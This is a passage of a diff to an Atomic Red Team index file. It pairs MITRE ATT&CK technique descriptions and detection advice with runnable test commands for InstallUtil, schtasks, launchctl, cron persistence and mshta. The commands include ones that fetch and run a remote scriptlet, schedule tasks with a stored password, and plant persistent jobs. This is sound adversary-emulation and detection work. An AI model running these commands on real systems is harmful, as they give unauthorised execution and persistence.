[System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil) + x_mitre_remote_support: false + id: attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b + modified: '2019-07-31T18:11:14.192Z' x_mitre_platforms: - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.2' + type: attack-pattern + x_mitre_detection: Use process monitoring to monitor the execution and arguments + of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior + history of known good arguments and executed binaries to determine anomalous + and potentially adversarial activity. Command arguments used before and after + the InstallUtil.exe invocation may also be useful in determining the origin + and purpose of the binary being executed. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Casey Smith + - Travis Smith, Tripwire + created: '2017-05-31T21:31:27.510Z' kill_chain_phases: - - phase_name: execution - kill_chain_name: mitre-attack - - phase_name: persistence + - phase_name: defense-evasion kill_chain_name: mitre-attack - - phase_name: privilege-escalation + - phase_name: execution kill_chain_name: mitre-attack - id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9 - name: Scheduled Task - created: '2017-05-31T21:30:46.977Z' - x_mitre_version: '1.0' - x_mitre_remote_support: true - type: attack-pattern - description: |- - Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security) - - An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account. - x_mitre_effective_permissions: - - SYSTEM - - Administrator - - User - identifier: T1053 + external_references: + - source_name: mitre-attack + external_id: T1118 + url: https://attack.mitre.org/techniques/T1118 + - description: Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved + July 1, 2016. + source_name: MSDN InstallUtil + url: https://msdn.microsoft.com/en-us/library/50614e95.aspx + - description: LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019. + source_name: LOLBAS Installutil + url: https://lolbas-project.github.io/lolbas/Binaries/Installutil/ + x_mitre_defense_bypassed: + - Process whitelisting + - Digital Certificate Validation + identifier: T1118 atomic_tests: - - name: At.exe Scheduled task - description: | - Executes cmd.exe - Note: deprecated in Windows 8+ - supported_platforms: - - windows - executor: - name: command_prompt - elevation_required: false - command: 'at 13:20 /interactive cmd + - name: InstallUtil uninstall method call + description: 'Executes the Uninstall Method ' - - name: Scheduled task Local - description: '' supported_platforms: - windows input_arguments: - task_command: - description: What you want to execute - type: String - default: C:\windows\system32\cmd.exe - time: - description: What time 24 Hour - type: String - default: 72600 + filename: + description: location of the payload + type: Path + default: C:\AtomicRedTeam\atomics\T1118\src\T1118.dll executor: name: command_prompt elevation_required: false - command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time} - -' - - name: Scheduled task Remote - description: 'Create a task on a remote system + command: "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /target:library + /out:C:\\AtomicRedTeam\\atomics\\T1118\\src\\T1118.dll C:\\AtomicRedTeam\\atomics\\T1118\\src\\T1118.cs + \nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe /logfile= + /LogToConsole=false /U #{filename}\n" + - name: InstallUtil GetHelp method call + description: 'Executes the Uninstall Method ' supported_platforms: - windows input_arguments: - task_command: - description: What you want to execute - type: String - default: C:\windows\system32\cmd.exe - time: - description: What time 24 Hour - type: String - default: 72600 - target: - description: Target - type: String - default: localhost - user_name: - description: Username DOMAIN\User - type: String - default: DOMAIN\user - password: - description: Password - type: String - default: At0micStrong + filename: + description: location of the payload + type: Path + default: C:\AtomicRedTeam\atomics\T1118\src\T1118.dll executor: name: command_prompt - command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN - "Atomic task" /TR "#{task_command}" /SC daily /ST #{time} - -' - T1064: + elevation_required: false + command: "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /target:library + /out:C:\\AtomicRedTeam\\atomics\\T1118\\src\\T1118.dll C:\\AtomicRedTeam\\atomics\\T1118\\src\\T1118.cs + \nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe /? + #{filename}\n" + T1152: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1064 - source_name: mitre-attack - external_id: T1064 - - url: http://www.metasploit.com - source_name: Metasploit - description: Metasploit. (n.d.). Retrieved December 4, 2014. - - url: https://www.veil-framework.com/framework/ - source_name: Veil - description: Veil Framework. (n.d.). Retrieved December 4, 2014. - - url: https://github.com/mattifestation/PowerSploit - source_name: Powersploit - description: PowerSploit. (n.d.). Retrieved December 4, 2014. - - url: https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/ - source_name: Alperovitch 2014 - description: 'Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting - of National Security Think Tanks. Retrieved November 12, 2014.' - - url: https://www.uperesia.com/analyzing-malicious-office-documents - source_name: Uperesia Malicious Office Documents - description: Felix. (2016, September). Analyzing Malicious Office Documents. - Retrieved April 11, 2018. + x_mitre_permissions_required: + - User + - Administrator + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + name: Launchctl + description: "Launchctl controls the macOS launchd process which handles things + like launch agents and launch daemons, but can execute other commands or programs + itself. Launchctl supports taking subcommands on the command-line, interactively, + or even redirected from standard input. By loading or reloading launch agents + or launch daemons, adversaries can install persistence or execute changes + they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl + is as simple as launchctl submit -l -- /Path/to/thing/to/execute + \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents + or launch daemons can require elevated privileges. \n\nAdversaries can abuse + this functionality to execute code or even bypass whitelisting if launchctl + is an allowed process." + x_mitre_remote_support: false + id: attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee + x_mitre_platforms: + - macOS object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Knock Knock can be used to detect persistent programs such + as those installed via launchctl as launch agents or launch daemons. Additionally, + every launch agent or launch daemon must have a corresponding plist file on + disk somewhere which can be monitored. Monitor process execution from launchctl/launchd + for unusual or unknown processes. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-07-18T15:27:13.077Z' + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1152 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1152 + - source_name: Sofacy Komplex Trojan + description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. + url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ x_mitre_defense_bypassed: + - Application whitelisting - Process whitelisting - - Data Execution Prevention - - Exploit Prevention + - Whitelisting by file name or path + identifier: T1152 + atomic_tests: + - name: Launchctl + description: 'Utilize launchctl + +' + supported_platforms: + - macos + executor: + name: sh + command: 'launchctl submit -l evil -- /Applications/Calculator.app/Contents/MacOS/Calculator + +' + T1168: + technique: x_mitre_data_sources: - - Process monitoring - File monitoring - - Process command-line parameters - modified: '2019-04-12T17:42:36.311Z' - x_mitre_detection: |- - Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. + - Process monitoring + x_mitre_permissions_required: + - Administrator + - User + - root + name: Local Job Scheduling + description: |- + On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH). - Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. + ### cron - Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents) - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + System-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems. + + Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account. + + ### at + + The at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes. + + ### launchd + + Each launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X. + id: attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8 x_mitre_platforms: - Linux - macOS - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - id: attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44 - name: Scripting - created: '2017-05-31T21:30:51.733Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: |- - Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts. + x_mitre_detection: Legitimate scheduled jobs may be created during installation + of new software or through administration functions. Jobs scheduled with launchd + and cron can be monitored from their respective utilities to list out detailed + information about the jobs. Monitor process execution resulting from launchd + and cron tasks to look for unusual or unknown applications and behavior. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Anastasios Pingios + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1168 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1168 + - source_name: Die.net Linux crontab Man Page + description: Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December + 19, 2017. + url: https://linux.die.net/man/5/crontab + - source_name: Die.net Linux at Man Page + description: Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December + 19, 2017. + url: https://linux.die.net/man/1/at + - source_name: AppleDocs Scheduling Timed Jobs + description: Apple. (n.d.). Retrieved July 17, 2017. + url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html + - source_name: Janicab + description: Thomas. (2013, July 15). New signed malware called Janicab. Retrieved + July 17, 2017. + url: http://www.thesafemac.com/new-signed-malware-called-janicab/ + - source_name: Methods of Mac Malware Persistence + description: Patrick Wardle. (2014, September). Methods of Malware Persistence + on Mac OS X. Retrieved July 5, 2017. + url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + - source_name: Malware Persistence on OS X + description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. + Retrieved July 10, 2017. + url: https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf + - source_name: Avast Linux Trojan Cron Persistence + description: Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan + hiding itself with an embedded rootkit. Retrieved January 8, 2018. + url: https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/ + modified: '2019-07-18T15:32:39.720Z' + identifier: T1168 + atomic_tests: + - name: Cron - Replace crontab with referenced file + description: 'This test replaces the current user''s crontab file with the contents + of the referenced file. This technique was used by numerous IoT automated + exploitation attacks. + +' + supported_platforms: + - macos + - centos + - ubuntu + - linux + input_arguments: + command: + description: Command to execute + type: string + default: "/tmp/evil.sh" + tmp_cron: + description: Temporary reference file to hold evil cron schedule + type: path + default: "/tmp/persistevil" + executor: + name: bash + command: 'echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron} - Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them. +' + - name: Cron - Add script to cron folder + description: 'This test adds a script to a cron folder configured to execute + on a schedule. This technique was used by the threat actor Rocke during the + exploitation of Linux web servers. - Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. (Citation: Metasploit) (Citation: Metasploit), (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014) - x_mitre_permissions_required: - - User - identifier: T1064 - atomic_tests: - - name: Create and Execute Bash Shell Script - description: 'Creates and executes a simple bash script. +' + supported_platforms: + - macos + - centos + - ubuntu + - linux + input_arguments: + command: + description: Command to execute + type: string + default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log + cron_script_name: + description: Name of file to store in cron folder + type: string + default: persistevil + executor: + name: bash + command: 'echo "#{command}" > /etc/cron.daily/#{cron_script_name} ' + - name: Event Monitor Daemon Persistence + description: "This test adds persistence via a plist to execute via the macOS + Event Monitor Daemon. \n" supported_platforms: - macos + - centos + - ubuntu - linux executor: - name: sh - elevation_required: false - command: |- - sh -c "echo 'echo Hello from the Atomic Red Team' > /tmp/art.sh" - sh -c "echo 'ping -c 4 8.8.8.8' >> /tmp/art.sh" - chmod +x /tmp/art.sh - sh /tmp/art.sh - T1035: + name: manual + steps: | + 1. Place this file in /etc/emond.d/rules/atomicredteam.plist + + + + + + name + atomicredteam + enabled + + eventTypes + + startup + + actions + + + command + /usr/bin/say + user + root + arguments + + -v Tessa + I am a persistent startup item. + + type + RunCommand + + + + + + + 2. Place an empty file in /private/var/db/emondClients/ + + 3. sudo touch /private/var/db/emondClients/randomflag + T1170: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1035 - source_name: mitre-attack - external_id: T1035 x_mitre_data_sources: - - Windows Registry - Process monitoring - Process command-line parameters + x_mitre_permissions_required: + - User + name: Mshta + description: "Mshta.exe is a utility that executes Microsoft HTML Applications + (HTA). HTA files have the file extension .hta. (Citation: Wikipedia + HTML Application) HTAs are standalone applications that execute using the + same models and technologies of Internet Explorer, but outside of the browser. + (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy + execution of malicious .hta files and Javascript or VBScript through a trusted + Windows utility. There are several examples of different types of threats + leveraging mshta.exe during initial compromise and for execution of code (Citation: + Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: + FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) + (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe + through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey + may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe + can be used to bypass application whitelisting solutions that do not account + for its potential use. Since mshta.exe executes outside of the Internet Explorer's + security context, it also bypasses browser security settings. (Citation: LOLBAS + Mshta)" + x_mitre_remote_support: false + id: attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec + modified: '2019-09-11T19:22:42.194Z' + x_mitre_platforms: + - Windows object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Changes to service Registry entries and command-line invocation - of tools capable of modifying services that do not correlate with known software, - patch cycles, etc., may be suspicious. If a service is used only to execute - a binary or script and not to persist, then it will likely be changed back - to its original form shortly after the service is restarted so the service - is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029). + x_mitre_version: '1.2' + type: attack-pattern + x_mitre_detection: |- + Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed. + + Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious. created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_contributors: + - Ricardo Dias + - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank + created: '2018-01-16T16:13:52.465Z' kill_chain_phases: - - phase_name: execution - kill_chain_name: mitre-attack - id: attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392 - name: Service Execution - created: '2017-05-31T21:30:36.550Z' - x_mitre_version: '1.0' - x_mitre_remote_support: true - type: attack-pattern - description: Adversaries may execute a binary, command, or script via a method - that interacts with Windows services, such as the Service Control Manager. - This can be done by either creating a new service or modifying an existing - service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) - and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during - service persistence or privilege escalation. - x_mitre_permissions_required: - - Administrator - - SYSTEM - identifier: T1035 + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1170 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1170 + - source_name: Wikipedia HTML Application + description: Wikipedia. (2017, October 14). HTML Application. Retrieved October + 27, 2017. + url: https://en.wikipedia.org/wiki/HTML_Application + - source_name: MSDN HTML Applications + description: Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017. + url: https://msdn.microsoft.com/library/ms536471.aspx + - source_name: Cylance Dust Storm + description: Gross, J. (2016, February 23). Operation Dust Storm. Retrieved + September 19, 2017. + url: https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf + - source_name: Red Canary HTA Abuse Part Deux + description: McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) + Abuse, Part Deux. Retrieved October 27, 2017. + url: https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/ + - source_name: FireEye Attacks Leveraging HTA + description: 'Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. + (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. + Retrieved October 27, 2017.' + url: https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html + - source_name: Airbus Security Kovter Analysis + description: Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis + Of Kovter Persistence. Retrieved December 5, 2017. + url: https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/ + - source_name: FireEye FIN7 April 2017 + description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing + LNK. Retrieved April 24, 2017. + url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html + - source_name: LOLBAS Mshta + description: LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019. + url: https://lolbas-project.github.io/lolbas/Binaries/Mshta/ + x_mitre_defense_bypassed: + - Application whitelisting + - Digital Certificate Validation + identifier: T1170 atomic_tests: - - name: Execute a Command as a Service - description: "Creates a service specifying an aribrary command and executes - it. When executing commands such as PowerShell, the service will report that - it did not start correctly even when code executes properly. \n" + - name: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject + description: 'Test execution of a remote script using mshta.exe + +' supported_platforms: - windows input_arguments: - service_name: - description: Name of service to create - type: string - default: ARTService - executable_command: - description: Command to execute as a service - type: string - default: "%COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType - File C:\\art-marker.txt" + file_url: + description: location of the payload + type: Url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1170/mshta.sct executor: name: command_prompt - elevation_required: true - command: | - sc.exe create #{service_name} binPath= #{executable_command} - sc.exe start #{service_name} - sc.exe delete #{service_name} - T1218: + elevation_required: false + command: 'mshta.exe javascript:a=(GetObject(''script:#{file_url}'')).Exec();close(); + +' + T1086: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1218 - source_name: mitre-attack - external_id: T1218 - - url: https://lolbas-project.github.io/lolbas/Binaries/Msiexec/ - source_name: LOLBAS Msiexec - description: LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019. - - url: https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/ - source_name: Rancor Unit42 June 2018 - description: 'Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in - South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July - 2, 2018.' - - url: https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/ - source_name: TrendMicro Msiexec Feb 2018 - description: Co, M. and Sison, G. (2018, February 8). Attack Using Windows - Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019. - - url: https://twitter.com/gn3mes1s/status/941315826107510784 - source_name: Twitter gN3mes1s Status Update MavInject32 - description: Giuseppe. (2017, December 14). gN3mes1s Status Update. Retrieved - April 10, 2018. - - url: https://twitter.com/monoxgas/status/895045566090010624 - source_name: Twitter monoxgas Status Update SyncAppvPublishingServer - description: Landers, N. (2017, August 8). monoxgas Status Update. Retrieved - April 10, 2018. - - url: https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017 - source_name: Microsoft odbcconf.exe - description: Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March - 7, 2019. - - url: https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/ - source_name: LOLBAS Odbcconf - description: LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019. - - url: https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/ - source_name: TrendMicro Squiblydoo Aug 2017 - description: Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August - 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. - Retrieved March 7, 2019. - - url: https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/ - source_name: TrendMicro Cobalt Group Nov 2017 - description: 'Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November - 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit - Against Russian Banks. Retrieved March 7, 2019.' - - url: https://github.com/api0cradle/UltimateAppLockerByPassList - source_name: GitHub Ultimate AppLocker Bypass List - description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved - April 10, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Nishan Maharjan, @loki248 - - Hans Christoffer Gaardløs - - Praetorian + x_mitre_permissions_required: + - User + - Administrator x_mitre_data_sources: + - PowerShell logs + - Loaded DLLs + - DLL monitoring + - Windows Registry + - File monitoring - Process monitoring - - Process command-line parameters - modified: '2019-04-25T13:28:31.935Z' - x_mitre_detection: Monitor processes and command-line parameters for signed - binaries that may be used to proxy execution of malicious files. Legitimate - programs used in suspicious ways, like msiexec.exe downloading an MSI file - from the internet, may be indicative of an intrusion. Correlate activity with - other suspicious behavior to reduce false positives that may be due to normal - benign use by users and administrators. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - Process command-line parameters + name: PowerShell + description: "PowerShell is a powerful interactive command-line interface and + scripting environment included in the Windows operating system. (Citation: + TechNet PowerShell) Adversaries can use PowerShell to perform a number of + actions, including discovery of information and execution of code. Examples + include the Start-Process cmdlet which can be used to run an executable and + the Invoke-Command cmdlet which runs a command locally or on a remote computer. + \n\nPowerShell may also be used to download and run executables from the Internet, + which can be executed from disk or in memory without touching disk.\n\nAdministrator + permissions are required to use PowerShell to connect to remote systems.\n\nA + number of PowerShell-based offensive testing tools are available, including + [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: + Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nPowerShell commands/scripts + can also be executed without directly invoking the powershell.exe binary through + interfaces to PowerShell's underlying System.Management.Automation assembly + exposed through the .NET framework and Windows Common Language Interface (CLI). + (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec + 2015) (Citation: Microsoft PSfromCsharp APR 2014)" + x_mitre_remote_support: true + id: attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0 x_mitre_platforms: - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Application whitelisting - - Digital Certificate Validation - id: attack-pattern--457c7820-d331-465a-915e-42f85500ccc4 - name: Signed Binary Proxy Execution - created: '2018-04-18T17:59:24.739Z' - x_mitre_version: '2.0' - x_mitre_remote_support: false + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' type: attack-pattern - description: |- - Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems. This technique accounts for proxy execution methods that are not already accounted for within the existing techniques. - - ### Msiexec.exe - Msiexec.exe is the command-line Windows utility for the Windows Installer. Adversaries may use msiexec.exe to launch malicious MSI files for code execution. An adversary may use it to launch local or network accessible MSI files.(Citation: LOLBAS Msiexec)(Citation: Rancor Unit42 June 2018)(Citation: TrendMicro Msiexec Feb 2018) Msiexec.exe may also be used to execute DLLs.(Citation: LOLBAS Msiexec) - - * msiexec.exe /q /i "C:\path\to\file.msi" - * msiexec.exe /q /i http[:]//site[.]com/file.msi - * msiexec.exe /y "C:\path\to\file.dll" - - ### Mavinject.exe - Mavinject.exe is a Windows utility that allows for code execution. Mavinject can be used to input a DLL into a running process. (Citation: Twitter gN3mes1s Status Update MavInject32) - - * "C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" <PID> /INJECTRUNNING <PATH DLL> - * C:\Windows\system32\mavinject.exe <PID> /INJECTRUNNING <PATH DLL> - - ### SyncAppvPublishingServer.exe - SyncAppvPublishingServer.exe can be used to run PowerShell scripts without executing powershell.exe. (Citation: Twitter monoxgas Status Update SyncAppvPublishingServer) - - ### Odbcconf.exe - Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The utility can be misused to execute functionality equivalent to [Regsvr32](https://attack.mitre.org/techniques/T1117) with the REGSVR option to execute a DLL.(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) + x_mitre_detection: |- + If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity. - * odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"} + Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) - Several other binaries exist that may be used to perform similar behavior. (Citation: GitHub Ultimate AppLocker Bypass List) - x_mitre_permissions_required: - - User - identifier: T1218 + It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Praetorian + created: '2017-05-31T21:31:06.512Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1086 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1086 + - source_name: TechNet PowerShell 